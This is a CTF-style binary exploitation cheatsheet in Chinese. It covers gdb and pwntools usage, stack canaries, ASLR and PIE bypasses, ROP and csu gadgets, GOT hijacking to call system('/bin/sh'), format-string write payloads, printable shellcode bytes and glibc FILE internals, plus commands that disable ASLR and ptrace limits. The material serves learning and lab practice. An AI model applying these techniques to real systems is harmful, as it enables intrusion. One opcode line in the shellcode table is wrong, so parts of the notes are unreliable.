PWN cheatsheet

tags: pwn ๐Ÿ‘ป

info

debug symbols libc

  1. ๆŸฅ็œ‹ https://github.com/matrix1001/glibc-all-in-one ไพ†ไธ‹่ผ‰ไธๅŒ็‰ˆๆœฌ็š„ libc
  2. ๅฐ‡ debug symbol ็š„ libc ไธŸๅˆฐ /usr/lib/debug (ๅฏ่ƒฝๆœƒๅพˆไบ‚)

gdb ๆ‰‹ๅ‹•่จญ

  • ่จญๅฎš LD_PRELOAD๏ผšset exec-wrapper env "LD_PRELOAD=./libc-2.29.so" (for 2.29)
    • ๆœ‰ไบ›ๆ™‚ๅ€™็›ดๆŽฅ็”จ set environment LD_PRELOAD=./libc.so ๅฐฑๅฏไปฅ๏ผŒๆœ‰ๆ™‚ๅพŒไธ่กŒ
  • ่จญๅฎš debug path๏ผšset debug-file-directory /usr/lib/debug/lib/x86_64-linux-gnu

ref: https://stackoverflow.com/questions/10000335/how-to-use-debug-version-of-libc

glibc source code

sudo apt-get install glibc-source cd /usr/src/glibc sudo tar xvf glibc-2.31.tar.xz

libc package (dbg prefix - debug symbols)
https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/

In gdb๏ผš
dir /usr/src/glibc/glibc-2.31/exit.c

make debug symbol glibc

mkdir OWO && cd OWO
../glibc-2.31/configure --prefix $PWD --enable-debug
make -j4

# elf/ld.so == linker
# ./libc.so == libc
ๅœจ็”จ ld_changer ๆ”น binary ็š„ ld๏ผŒ็”จ LD_PRELOAD=./libc.so ./binary ไพ†ๅŸท่กŒ

helper

  • shell command
- ็œ‹ got offset: objdump -R
- ็œ‹ไฟ่ญทๆฉŸๅˆถ: checksec
- ้œๆ…‹ๅˆ†ๆž asm: objdump -d
- ็œ‹ lib info: ldd ./binary
- ็œ‹ symbol offset: readelf -s
- strace syscall: strace -e trace=read,write ./<elf>
- checksec: ๆŸฅ็œ‹ไฟ่ญทๆฉŸๅˆถ
- ๆŸฅ็œ‹ binary ็š„ pid: pidof <elf>
- ็œ‹ไฝฟ็”จๅˆฐ็š„ linker and libc: ldd <elf>
- LD_SHOW_AUXV=1 ./<elf>
- ncat -vc <elf> -kl <127.0.0.1> <port>: ้–‹ๅ•Ÿ binary server (่ฆ่ฃ nmap)
- ltrace: ltrace shows parameters of invoked functions and system calls
  • gdb
- reg info: info registers rax
- info locals: ็œ‹ local var 
- print environ: ๅฐๅ‡บ็’ฐๅขƒ่ฎŠๆ•ธ็š„ address
- telescope 0x1234567(addr) 123(number): ๅฐๅ‡บ memory ็š„ content
- set reg value: set $eip=0xValue
- stack frame: stack 40
- gdb -q: quite ๆ‰“้–‹ gdb
- b main: ๅœจ main ่จญๆ–ท้ปž
- r: run
- vmmap: virtual memory map
- x/40gx <address>: (g: 8 bytes, w: 4 bytes, b: 1 byte, s: string ๅˆฐ `\x00`)
- x/10i <address>: address ็š„ inst
- set {long}0x123456789abc=1234: ไฟฎๆ”นๆŸ memory address ็š„ๅ€ผ
- i r: ๆŸฅ็œ‹ reg ็š„ value
- xinfo <address>: ๆŸฅ็œ‹ address ็š„ไฝๅ€ไปฅๅŠ่ฉฒๅ€ๆฎต็š„ info
- s: ๅŸท่กŒไธ€่กŒ(่‹ฅ function ๅ‰‡้€ฒๅ…ฅ)
- si: ๅŸท่กŒไธ€่กŒ asm
- fin: ๅŸท่กŒ function ไธฆ่ทณๅ›žไธŠๅฑค
- attach pid: debug running process
- p var: print var ็š„ value
- info function <function_name>: ๆŸฅ็œ‹ function
- info locals: ็œ‹ local variable
- info auxv: ็œ‹ auxiliary vector
- lay asm
- lay src
- bt: back strace, ็œ‹ function stack
- heapinfo ็œ‹ bin & chunk
- heapbase heap base address
- telescope
- context: ้‡็พ็•ถๅ‰ reg stack ็š„่ณ‡ๆ–™
  • gdb trace libc
#### In shell
sudo apt-get install libc6-dbg ; ๅฎ‰่ฃๅธถๆœ‰ debug symbols ็š„ libc
sudo cp /etc/apt/sources.list /etc/apt/sources.list~ # ๅ‚™ไปฝ
sudo sed -Ei 's/^# deb-src /deb-src /' /etc/apt/sources.list # ๅฐ‡ source ็š„ repo ๅŠ ๅˆฐ apt ๅ…ง
sudo apt-get update
sudo apt install glibc-source ; ๆœƒๅœจ /usr/src/glibc/ ๆ‹ฟๅˆฐไธ€ๅŒ… glibc src code
sudo tar xvf glibc-2.31.tar.xz ; ่งฃๅฃ“็ธฎ

#### In gdb
gdb > dir /path/to/src/code/malloc.c
gdb > start
  • pwntools
fmtstr_payload(arg_offset, {target: value}, write_size='byte', numbwritten=already_written_bytes)
  • disable ptrace limitation
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
  • extract text section
objcopy -j.text -O binary X X.bin

base

  • LD_LIBRARY_PATH, LD_PRELOAD
    • ่ท‘ไธๅŒ็‰ˆๆœฌ libc
    • loader ็š„็‰ˆๆœฌไนŸ้œ€่ฆๆ›ดๆ”น, ็”จ patch ็š„ๆ–นๅผๆ”น ld ็š„็‰ˆๆœฌ
  • x64 calling convention
    • user: rdi rsi rdx rcx r8 r9
    • syscall: rdi rsi rdx r10 r8 r9
      • syscall id: rax
    • return value: rax
  • common instruction
mov
lea
syscall
leave ; mov rsp, rbp; pop rbp
lea rax, [rbx + 0x10] ; rax = rbx + 0x10
  • syscall (strace ./binary)
sys_read: 0, fd, *buf, count
sys_write: 1, fd, *buf, count
sys_open: 2, filename, flags, mode (flags, mode ้€šๅธธๆ”พ 0, 0)
sys_execve: 0x3b (59), *"/bin/sh", 0, 0
  • protection (checksec)
NX: No Exection
    gcc -z execstack
Canary: defeat bof, ๅœจ return ๅ‰ๅš canary check
    - security_init() => fs:0x28 (stack guard)
    - canary end with \x00
    gcc -fno-stack-protector: no canary
    gcc -fstack-protector-all: ๆ‰€ๆœ‰ function ็š†้–‹ๅ•Ÿ canary
ASLR:
    - Address Space Layout Randomization
    - stack, heap, shared libraries
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
PIE:
    - Position Independent Executable
    - binary randomization
    gcc -fno-pie
FULL RELRO:
    - load binary ๅพŒๅฐฑๆŽฅๅฅฝ library, ไธฆ่จญ็‚บๅ”ฏ่ฎ€
  • link library
LD_LIBRARY_PATH=/path/to/your/libc
export LD_LIBRARY_PATH
  • binary layout

Shellcode

  • defeat NX
mmap // assign memory protection mode
mprotect // ๆ›ดๆ”น็พๆœ‰ memory protection mode
  • ๅฅฝ็”จ็š„ printable shellcode in x86
A    0:   41                      inc    ecx
B    0:   42                      inc    edx
C    0:   43                      inc    ebx
D    0:   44                      inc    esp
E    0:   45                      inc    ebp
F    0:   46                      inc    esi
G    0:   47                      inc    edi
H    0:   48                      dec    eax
I    0:   49                      dec    ecx
J    0:   4a                      dec    edx
K    0:   4b                      dec    ebx
L    0:   4c                      dec    esp
M    0:   4d                      dec    ebp
N    0:   4e                      dec    esi
O    0:   4f                      dec    edi
P    0:   50                      push   eax
Q    0:   51                      push   ecx
R    0:   52                      push   edx
S    0:   53                      push   ebx
T    0:   54                      push   esp
U    0:   55                      push   ebp
V    0:   56                      push   esi
W    0:   57                      push   edi
X    0:   58                      pop    eax
Y    0:   59                      pop    ecx
Z    0:   5a                      pop    edx
f A    0:   66 41                   inc    cx
f B    0:   66 42                   inc    dx
f C    0:   66 43                   inc    bx
f D    0:   66 44                   inc    sp
f E    0:   66 45                   inc    bp
f F    0:   66 46                   inc    si
f G    0:   66 47                   inc    di
f H    0:   66 48                   dec    ax
f I    0:   66 49                   dec    cx
f J    0:   66 4a                   dec    dx
f K    0:   66 4b                   dec    bx
f L    0:   66 4c                   dec    sp
f M    0:   66 4d                   dec    bp
f N    0:   66 4e                   dec    si
f O    0:   66 4f                   dec    di
f P    0:   66 50                   push   ax
f Q    0:   66 51                   push   cx
f R    0:   66 52                   push   dx
f S    0:   66 53                   push   bx
f T    0:   66 54                   push   sp
f U    0:   66 55                   push   bp
f V    0:   66 56                   push   si
f W    0:   66 57                   push   di
f X    0:   66 58                   pop    ax
f Y    0:   66 59                   pop    cx
f Z    0:   66 5a                   pop    dx
p a    0:   70 61                   jo    0x63
q a    0:   70 61                   jno    0x63
r a    0:   72 61                   jb     0x63
s a    0:   73 61                   jae    0x63
t a    0:   74 61                   je     0x63
u a    0:   75 61                   jne    0x63
4 a    0:   34 61                   xor    al, 0x61
j a    0:   6a 61                   push   0x61
0A0    0:   30 41 30                xor    BYTE PTR [ecx+0x30], al
  • int 0x80 (\xcd\x80) ๆ€Ž้บผ็”Ÿ
## \xcd
for i in range(ord('a'), ord('z')+1):
    print(chr(0xff ^ i ^ 0xcd))
ord('S') = 0xff ^ ord('a') ^ 0xcd
0xcd     = ord('S') ^ 0xff ^ ord('a')

## 0x80
for i in range(ord('0'), ord('9')+1):
    print(chr(0xff ^ i ^ 0x80))
ord('O') = 0xff ^ ord('0') ^ 0x80
0x80     = ord('O') ^ 0xff ^ ord('0')**

BOF

  • danger function
gets
scanf
vscanf
strcpy // ่ฃœ null
strcat // ่ฃœ null
  • bypass canary
    • leak canary at runtime
    • non-linear write (ไธ้ ˆๆ”นๅ‹• canary ๅฐฑไฟฎๆ”น return address)

ROP (Return Oriented Programming)

  • stack pivoting
    • ROP size ไธๅค ๆ™‚ไฝฟ็”จ
    • ็ฌฌไธ€ๆฌกไธป่ฆ้€้Ž BOF ๆ”น่ฎŠ rbp ๅˆฐๅทฒ็ŸฅๅฏๆŽง็š„ไฝ็ฝฎ (็จฑไฝœ bss)
    • ็ฌฌไบŒๆฌกๅฏซๅ…ฅ ROP chain, ไธฆ้€้Ž ret2leave, ่ฎ“ rsp ้ทๅˆฐ bss, ๅค ไฝฟ็”จๅˆฐ bss ็š„ stack ไธŠ return address
  • defeat ASLR / PIE
    • leak stack / library / code_base
    โ€‹โ€‹โ€‹โ€‹libc => <__libc_start_main+243>
    โ€‹โ€‹โ€‹โ€‹code_base => return_main_addr
    
  • ROP gadget
ROPgadget --binary ./binary --multibr --only "pop|ret" # search ROP
ROPgadget --binary ./binary --string "/bin/sh" # search string

ROP Advanced

gcc 4.8 ไปฅไธŠ, 64 bit ไธ‹ๆœ‰่จฑๅคš้€š็”จ gadget

  • ๆญฃๅธธๆƒ…ๆณไธ‹ call __libc_csu_init ไธๆœƒๅšไบ‹ๆƒ…๏ผŒๅ› ็‚บไป–ๅชๆ˜ฏ่ฒ ่ฒฌ call init entry ่€Œๅทฒ๏ผŒ่€Œ init entry ไนŸไธๆœƒๅนนๅ˜›
  • ไฝ†ๆ˜ฏ้€™ๅ€‹ function ๆœ‰้œ€ๅคš push pop register ็š„ instruction ๅฏไปฅไฝฟ็”จ
  • csu gadget
    • ไฝฟ็”จๆƒ…ๆณ
      • pop rdx ; ret ๆ‰พไธๅˆฐ
      • ๆฒ’ๆœ‰ libc (?
    • __libc_csu_init
    โ€‹โ€‹โ€‹โ€‹mov rdx, r14
    โ€‹โ€‹โ€‹โ€‹mov rsi, r13
    โ€‹โ€‹โ€‹โ€‹mov edi, r12d
    โ€‹โ€‹โ€‹โ€‹call qword ptr [r15+rbx*8]
    โ€‹โ€‹โ€‹โ€‹...
    โ€‹โ€‹โ€‹โ€‹pop rbx
    โ€‹โ€‹โ€‹โ€‹pop rbp
    โ€‹โ€‹โ€‹โ€‹pop r12
    โ€‹โ€‹โ€‹โ€‹pop r13
    โ€‹โ€‹โ€‹โ€‹pop r14
    โ€‹โ€‹โ€‹โ€‹pop r15
    โ€‹โ€‹โ€‹โ€‹ret
    

analysis

  • bypass full relro(.got ไธๅฏๅฏซไฝ†ๅˆ้œ€่ฆ leak): ่ฎ“ stack ่ฝๅœจ .got ่ˆ‡ .data ็š„ไบค็•Œ
  • x64 ็š„ register ไธญ๏ผŒrX == rXx + ไธ€ๅ€‹ prefix
    • pop rax == 58, pop r8 == 4158, 41 ๅณ็‚บ prefix
  • r12~r15 ็‚บ callee saved, ๆ‰€ไปฅ pop r12 ~ r15 ๅพˆๅธธ่ฆ‹, ไธ้Žไธ็”จๆ“”ๅฟƒ, pop r14 == 415e/ pop rsi == 5e
  • ไธ€ไบ›้€š็”จ gadget
    1. ๆŽงๅˆถ rdi rsi (_libc_csu_init)
    โ€‹โ€‹โ€‹โ€‹call qword ptr [r12+rbx*8] // ๆ”พ pop ; ret (ๆŠŠ rip pop ๆމ๏ผŒ็นผ็บŒ่ท‘ไธ‹้ข็š„ ROP)
    
    โ€‹โ€‹โ€‹โ€‹pop rsi ; pop r15 ; ret
    โ€‹โ€‹โ€‹โ€‹pop rdi ; ret
    
    1. ๆƒณๆŽง rax
    โ€‹โ€‹โ€‹โ€‹jmp rax ไธ€ๅฎšๆœƒๆœ‰ (jop)
    โ€‹โ€‹โ€‹โ€‹gets/fgets ๆœƒ่ฎ“ rax ่ฎŠๆˆ rdi
    โ€‹โ€‹โ€‹โ€‹strcpy/strncpy (strncpy, rdx ่จญ 0๏ผŒๅฎŒๅ…จไธ crash๏ผŒไฝ†้‚„ๆ˜ฏๆœƒๆœ‰ไธ€ๆจฃๆ•ˆๆžœ)
    โ€‹โ€‹โ€‹โ€‹alarm call ็ฌฌไบŒๆฌกๆ™‚ๅ›žๅ‚ณไธŠๅ‰ฉ้ค˜็ญ‰ๅพ…็š„ๆ™‚้–“ (unsigned int)
    
    1. ๆŽงๅˆถ rcx
    โ€‹โ€‹โ€‹โ€‹ไธๅธธ็”จ
    โ€‹โ€‹โ€‹โ€‹้€šๅธธๆœƒ function call (strcpy ecx = ่ผธๅ…ฅๅญ—ไธฒ)
    โ€‹โ€‹โ€‹โ€‹syscall ๅฎŒๅพŒ rcx == rip
    
    1. ๅฏซ rax ๅˆฐ memory (int _start)
    โ€‹โ€‹โ€‹โ€‹push rax
    โ€‹โ€‹โ€‹โ€‹push rsp
    โ€‹โ€‹โ€‹โ€‹mov r8, XX
    โ€‹โ€‹โ€‹โ€‹mov rcx, XX
    โ€‹โ€‹โ€‹โ€‹mov rdi, XX
    โ€‹โ€‹โ€‹โ€‹call __libc_start_main@plt # ๆ”นๆމ got
    

attack

  • ๅ…ˆ็”จ pop_rsp_r13_r14_r15_ret ไพ†ๆŠŠ stack ้ทๅˆฐ got ไธŠ๏ผŒ้€™ๆจฃๅฐฑ่ƒฝๆŠŠ got value ๆ”พๅˆฐ register ๅ…ง
  • mov cs:__bass_start, 1 ๆœƒๆœ‰ add ebx, esi ; ret ็š„ gadget
  • csu_init ็”จ rbx ไพ†ๅš push๏ผŒ้€™ๆจฃๆ‰ไธๆœƒ่ขซๅ…ถไป–ๆฑ่ฅฟ่“‹ๅˆฐ
  • ่ƒฝๆŽง r12, rbx ้‚ฃไบ›๏ผŒๅฐฑๅฏไปฅ็”จ csu_init ไพ†ๅšไบ‹ๆƒ…
  • ้€šๅธธๅœจ call function ๆ™‚๏ผŒ stack ๆœƒๆฎ˜็•™ function ไฝฟ็”จ็š„ไธ€ไบ›็—•่ทก๏ผŒๆญคๆ™‚ๅฐฑๆœƒๆœ‰ libc ไน‹้กž็š„ๆฑ่ฅฟๅฏไปฅ็”จ
  • csu ๅฏไปฅๆŽง r12, r13, r14, r15 ๅ€ผ๏ผŒไธฆไธ”ๅœจ csu ๆœ‰ call [r12+8*rbx] ๅฏไปฅ็”จ
    • ๆ‰€ไปฅ้€้Ž pop r12, r13, r14, r15 ๅšๆ”ปๆ“Š
    โ€‹โ€‹โ€‹โ€‹mov rdx, r13
    โ€‹โ€‹โ€‹โ€‹mov rsi, r14
    โ€‹โ€‹โ€‹โ€‹mov edi, r15d
    โ€‹โ€‹โ€‹โ€‹call [r12+8*rbx]
    
  • _dl_runtime_resolve ๅœจ relro ๅ…จ้–‹ๆ™‚็„กๆณ•็”จ
  • rbx ่ฆ่จญ 0๏ผŒไปฅๅŠ rbp ่ฆ่จญ 1

leak

  • call _IO_file_write ๅฏไปฅ leak libc (ๅคงๆฆ‚ == write)
  • ๅˆฉ็”จไธๆ–ทๅœจ bss ไฝฟ็”จ gets๏ผŒไฝฟ็•™ไธ‹็š„ _IO_file_write ๅฏไปฅ่ขซ call ๅˆฐ๏ผŒไธฆ่—‰่‘—ๆŽงๅˆถ rdi, rsi, rdx _IO_new_file_write(stdin, got, 8)
  • stdin ๆญคๆ™‚ๅฏไปฅไปปๆ„ๆŽง๏ผŒๅช่ฆ *(ptr+0x70) ็‚บ 1 ๅฐฑๅฅฝ (stdout)๏ผŒ้€™ๆจฃๅฐฑ่ƒฝ leak

https://github.com/lattera/glibc/blob/master/libio/fileops.c#L1180
__write (f->_fileno, data, to_do)
offset of _fileno == 0x70

ROP to control got

GOT

  • GOT (Global Offset Table)
- runtime load libc function address
1. call puts@plt
2. jmp puts@got
3. 2 case
    - case 1: ๅทฒ็ถ“ binding ้Ž => ็›ดๆŽฅ่ทณ libc
    - case 2: ่ทณๅˆฐ puts@plt+6, ๅšไธ€ไบ›ไบ‹
        - push ไธ€ไบ›ๆฑ่ฅฟ, ่ทณๅˆฐ .plt 
        - jmp ๅˆฐ GOT ไธญ loader ๅœจ runtime load ้€ฒ็š„ libc function address
            - dynamic section offset
            - link_map address
            - dl_runtime_resolve <here>
        - resolve ๅพŒ, GOT ๆœƒ่ขซๅฏซๅ…ฅ libc function address
        - ๅˆ็จฑไฝœ lazy binding
  • GOT hijacking
    • ๆ”น puts@got ๆˆ system
    • puts("/bin/sh") == system("/bin/sh")

GOT ็š„ๅ‰ไธ‰ๅ€‹ entry ๅˆ†ๅˆฅๆ˜ฏ๏ผš

  1. .dynamic section address
  2. link_map
  3. _dl_runtime_resolve

ๆ•ดๅ€‹ runtime resolve ็š„ function prototype๏ผš_dl_runtime_resolve(*link_map, rel_offset)

FSB

  • danger function
printf(buf)
fprintf(buf)
sprintf(buf)
  • ไฝ็ฝฎ
    • 0 -> rdi
    • 1 -> rsi
    • 2 -> rdx
    • 3 -> rcx
    • 4 -> r8
    • 5 -> r9
    • 6 -> rsp
    • 7 -> rsp+8 โ€ฆ
  • attack
    • read: (for leak)
      • stack_base
        • rbp
        • environ ptr (point to environ string)
        • P.S ๆฑ‚ stack address ๆ™‚, ็ฎ— address ไน‹้–“ๅฝผๆญค็š„ offset ๆœƒๆฏ”่ผƒๆบ–, ๅ› ็‚บๅณไฝฟ stack_base ็Ÿฅ้“, ๆฏๆฌก function frame ็š„่ตทๅง‹ไฝ็ฝฎไนŸๆœƒ random
      • canary
      • libc_base (return addr like libc_start_main + 243, 242, 235 ...)
    • write
      • ptr as arg
  • helper format
- %n$s: ๅƒๆ•ธๅœจ stack ไธญ็‚บ ptr, ่ผธๅ‡บ ptr ๆŒ‡ๅ‘ไฝๅ€ๅ…งๆ‰€ๆ”พ็š„ๅ€ผ
- %p: ๅƒๆ•ธๅ…ถ address
- %k$n : %n็š„ๅŠŸ่ƒฝ, ไฝ†ๆŒ‡ๅฎš็ฌฌ k ๅ€‹ๅƒๆ•ธ ($k)`
    - ้ ่จญ็‚บๅฐๆ‡‰ๅˆฐ็š„ argument๏ผŒ่€Œๅฆ‚ๆžœๆฒ’ๆœ‰ๆŒ‡ๅฎš k$๏ผŒ**ๅฏไปฅๅœจไธ€ๆฌก fmt ไน‹ๅ…งๆŒ‰็…ง้ †ๅบไฟฎๆ”นๅคšๆฌก**
- write size
    - $n: 4 bytes
    - $hn: 2 bytes
    - $hhn: 1 bytes
    - printed char ๆœƒ็นผๆ‰ฟ
- %***c: ่ผธๅ‡บ็‰นๅฎšๆ•ธ้‡็š„ๅญ—ๅ…ƒ, ่ƒฝ้คต็ตฆ %X$n.
- %X$n: ๆŽฅๆ”ถๅ…ˆๅ‰็ธฝๅฐๅ‡บ็š„ๅญ—ๅ…ƒๆ•ธ้‡, ๅœจไธŸ็ตฆ X$ ptr ๆ‰€ๆŒ‡ๅ‘ไฝๅ€, ้€้Žๅญ—ๅ…ƒ่ผธๅ‡บๆ•ธ้‡ & int overflow ๆŽงๅˆถ target addr ๆœ€็ต‚็š„ๅ€ผ (e.g. ๅฐ $n ไพ†่ชช, ๅฐๅ‡บ่ถ…้Ž 256 ๅฐฑๆœƒๅ›žๅˆฐ 0 ้–‹ๅง‹, ๆ‰€ไปฅๅฐๅ‡บ 257, ๅœจ target addr ๆœ€็ต‚็š„ๅ€ผๅฐฑๆœƒๆ˜ฏ 1)
e.g. %Ac%B$n: argB ็•ถไฝœ ptr ๅฏซๅ…ฅ 4 ๅ€‹ bytes, value ็‚บ 
  • %n, %hn ้ ่จญ็‚บๅฐ‡ไน‹ๅ‰ๅฐๅ‡บไพ† character ๆ•ธ้‡๏ผŒๅฏซๅˆฐๅฐๆ‡‰ argument ptr ๆŒ‡ๅˆฐ็š„ไฝ็ฝฎ๏ผŒ่€Œๅฆ‚ๆžœๆฒ’ๆœ‰ๆŒ‡ๅฎš k$๏ผŒๅฏไปฅๅœจไธ€ๆฌก fmt ไน‹ๅ…งๆŒ‰็…ง้ †ๅบไฟฎๆ”นๅคšๆฌก

    • k$ ๆœƒๅœจ fmt ๅ‰ๅฐ‡ ptr ๆŒ‡ๅˆฐ็š„ address ๅญ˜ไพ†๏ผŒๅ› ๆญคไธ่ƒฝๅ‹•ๆ…‹ๆ”น่ฎŠ
  • printf("%*");๏ผš* ไปฃ่กจๅ–ๅฐๆ‡‰ๅ‡ฝๅผๅƒๆ•ธ็š„ๅ€ผ

  • ็”จไพ†่จˆ็ฎ—็ธฝๅ…ฑๅฏซๅคšๅฐ‘ๆฌก็š„ function

written = 0                               
def next_byte(n, bits):                   
    global written                        
    written_masked = written & ((1 << bits) - 1)
                                          
    if written_masked < n:                
        written += n - written_masked  
        return n - written_masked         
    else:                                 
        written += ((1 << bits) - written_masked) + n 
        return ((1 << bits) - written_masked) + n 
  • pwntool fmtstr ็š„ไฝฟ็”จๆ–นๅผ
writes = {
    addr_retaddr + 0: addr_system,
    addr_retaddr + 8: addr_binsh,
    <target>: <value>
}
payload = fmtstr_payload(7, writes, numbwritten=0, write_size='byte')
fmtstr_payload(<offset>, <dict>, <number of char has been printed>, <hhn, hn or n>)

FILE exploit

FILE structure

  • system read write ๆ™‚ๆœƒๅ…ˆๅพž disk ่ฎ€ไธ€ๅคงๆฎตไธฆไธ”ๆ”พๅœจ kernel buffer, ไธฆไธ”ๆ”พๅœจ user space
    • ้™ไฝŽ disk I/O ๆฌกๆ•ธ
  • FILE struct
    • high level
    • file stream descriptor
      • ็”ฑ fopen() ็”ข็”Ÿ
    • fread/fwrite <=> stream buffer <=> read/write (user mode)
      • <=> kernel buffer <=> disk (kernel mode)
      • ้™ไฝŽ system call ็š„ๆฌกๆ•ธ
    • ๅฎฃๅ‘Š FILE struct ๆ™‚็‚บๅฎฃๅ‘Š _IO_FILE_plus
    • _IO_FILE
      โ€‹โ€‹struct _IO_FILE {
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹// ๅฏ่ฎ€ๅฏๅฏซ็ญ‰็ญ‰
      โ€‹โ€‹	int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
      โ€‹โ€‹	#define _IO_file_flags _flags
      
      โ€‹โ€‹	/* The following pointers correspond to the C++ streambuf protocol. */
      โ€‹โ€‹	/* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      โ€‹โ€‹	char* _IO_read_ptr;   /* Current read pointer */
      โ€‹โ€‹	char* _IO_read_end;   /* End of get area. */
      โ€‹โ€‹	char* _IO_read_base;  /* Start of putback+get area. */
      โ€‹โ€‹	char* _IO_write_base; /* Start of put area. */
      โ€‹โ€‹	char* _IO_write_ptr;  /* Current put pointer. */
      โ€‹โ€‹	char* _IO_write_end;  /* End of put area. */
      โ€‹โ€‹	char* _IO_buf_base;   /* Start of reserve area. */
      โ€‹โ€‹	char* _IO_buf_end;    /* End of reserve area. */
      โ€‹โ€‹	/* The following fields are used to support backing up and undo. */
      โ€‹โ€‹	char *_IO_save_base; /* Pointer to start of non-current get area. */
      โ€‹โ€‹	char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      โ€‹โ€‹	char *_IO_save_end; /* Pointer to end of non-current get area. */
      
      โ€‹โ€‹	struct _IO_marker *_markers;
      
      โ€‹โ€‹	struct _IO_FILE *_chain;
      
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    // file descriptor
      โ€‹โ€‹	int _fileno;
      โ€‹โ€‹	#if 0
      โ€‹โ€‹	int _blksize;
      โ€‹โ€‹	#else
      โ€‹โ€‹	int _flags2;
      โ€‹โ€‹	#endif
      โ€‹โ€‹	_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
      
      โ€‹โ€‹	#define __HAVE_COLUMN /* temporary */
      โ€‹โ€‹	/* 1+column number of pbase(); 0 is unknown. */
      โ€‹โ€‹	unsigned short _cur_column;
      โ€‹โ€‹	signed char _vtable_offset;
      โ€‹โ€‹	char _shortbuf[1];
      
      โ€‹โ€‹	/*  char* _save_gptr;  char* _save_egptr; */
      
      โ€‹โ€‹	_IO_lock_t *_lock;
      โ€‹โ€‹	#ifdef _IO_USE_OLD_IO_FILE
      โ€‹โ€‹};
      
      • flag: _flags "w+", "r" โ€ฆ
      • stream buffer: _IO_read_ptr ~ _IO_buf_end
      • fd: _fileno ็”ฑ system() open ็”ข็”Ÿ
    • _IO_FILE_plus
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹// ๅนณๅธธๅœจไฝฟ็”จ็š„ FILE
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹// stdin / stdout / stderr
      โ€‹โ€‹struct _IO_FILE_plus
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹{
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  FILE file;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  // ๅฐๆช”ๆกˆ็š„ๆ“ไฝœ
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  const struct _IO_jump_t *vtable;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹};
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹#endif
      
    • ๆ‰€ๆœ‰ file stream ๆœƒ่ขซไธฒๅœจไธ€ๅ€‹ linked list
      • next ๅœจ _IO_FILE ไธญ็‚บ _chain
    • fopen()
      • ้ฆ–ๅ…ˆๆœƒ malloc ไธ€ๆฎต memory ๅญ˜ FILE struct
      • link ๅˆฐๅญ˜ FILE stream ็š„ linked list ๅ…ง
        • _IO_list_all ไธ€้–‹ๅง‹ๆœƒไธฒ่‘— sterr, stdout and stdin
        • ่ฉฒๅกซ็š„ๅกซไธ€ๅกซ _flag, chain and vtable ็ญ‰โ€ฆ
      • ๅ‚ณๅˆฐ linked list (linked list ๆœƒๅ…ˆๆŒ‡ๅˆฐๆ–ฐๅขž็š„, ๆญคๆ–ฐๅขž็š„ chain ๅœจๆŒ‡ๅ‘ๅŽŸๆœฌ็š„ chain)
        • insert linked list node ็š„ๆ„Ÿ่ฆบ
        • ๆœ€ๆ–ฐ็š„ๆœƒ่ขซ _IO_list_all ๆŒ‡ๅˆฐ๏ผŒ็ทŠๆŽฅ่‘—ๆ˜ฏๅ…ถไป– fd ่ˆ‡ stderr, stdout, stdin (้กžไผผ LIFO ?)
      • sys_open() the file
    • fread()
      • ๅฆ‚ๆžœ stream buffer ็‚บ NULL, ๅฐฑ allocate ไธ€ๅกŠ็ตฆไป–
        • ็”จ vtable->_IO_file_xsgetn ๅˆคๆ–ท
        • ้€้Ž vtable->_IO_file_doallocate allocate
      • ็”จ vtable->_IO_file_underflow ่ฎ€ไธ€ๅคงๆฎตๅˆฐ stream buffer ไธŠ
        • default 1 page
      • ๅˆฉ็”จ system call sys_read() ่ฎ€ๆช”
      • ๅ†ๆŠŠ stream buffer ็š„ content copy ๅˆฐ dest
    • fwrite()
      • allocate buffer
      • ๅฐ‡ data ๅฏซๅˆฐ stream buffer ไธŠ
    • fclose()
      • ๅพž linked list ไธญ็งป้™ค (unlinked the FILE structure)
      • flush() and release() stream buffer
      • close file
      • release FILE structure
    • ็ตฑๆ•ด
      • FILE structure ๅœจ fopen() ๆ™‚่‡ชๅ‹• malloc ไธ€ๅ€‹็ฉบ้–“ๅˆฐ heap ไธŠ
      • _IO_new_file_init_internal ๆœƒ้€ฒ่กŒstructure ๅˆๅง‹ๅŒ–
        • ๆฏๅ€‹ FILE structure ไผผไนŽ้ƒฝๆœƒๆœ‰ไธ€็ต„ buffer, ๅˆ็จฑไฝœ file stream
          • file stream ่ฒ ่ฒฌๆŽฅๆ”ถ sys_open() ๅ‚ณ้€็š„ไธ€ๅคง็ญ†่ณ‡ๆ–™
        • ๆญคๆ™‚ file stream ๅฐšๆœชๅˆ†้…ๅˆฐ mem
      • _IO_link_in ๅฐ‡ๆญค structure insert ่‡ณ _IO_list_all ็š„้ ญ
        • _IO_list_all ็‚บ file_chain (linked list), ๆœƒๅฐ‡ๆ‰€ๆœ‰ FILE structure ไธฒ่ตทไพ†
      • sys_open() ็š„็ตๆžœ็‚บ fd, assign ่‡ณ _fileno
      • ๅœจ fread() ๆ™‚, ๆœƒๅ…ˆ vtable->_IO_file_xsgetn ็œ‹ file stream ๆ˜ฏๅฆ็‚บ NULL, ่‹ฅๆ˜ฏๅ‰‡ๅˆฉ็”จ vtable->doallocate allocate ไธ€ๅกŠ memory ็ตฆไป–
      • ไน‹ๅพŒ็”จ vtable->_IO_file_underflow ๅ‘ผๅซ sys_read(), ่ฎ€ _fileno ๅฐๆ‡‰็š„ๆช”ๆกˆ็š„ 1 page ๅˆฐ stream buffer ไธŠ
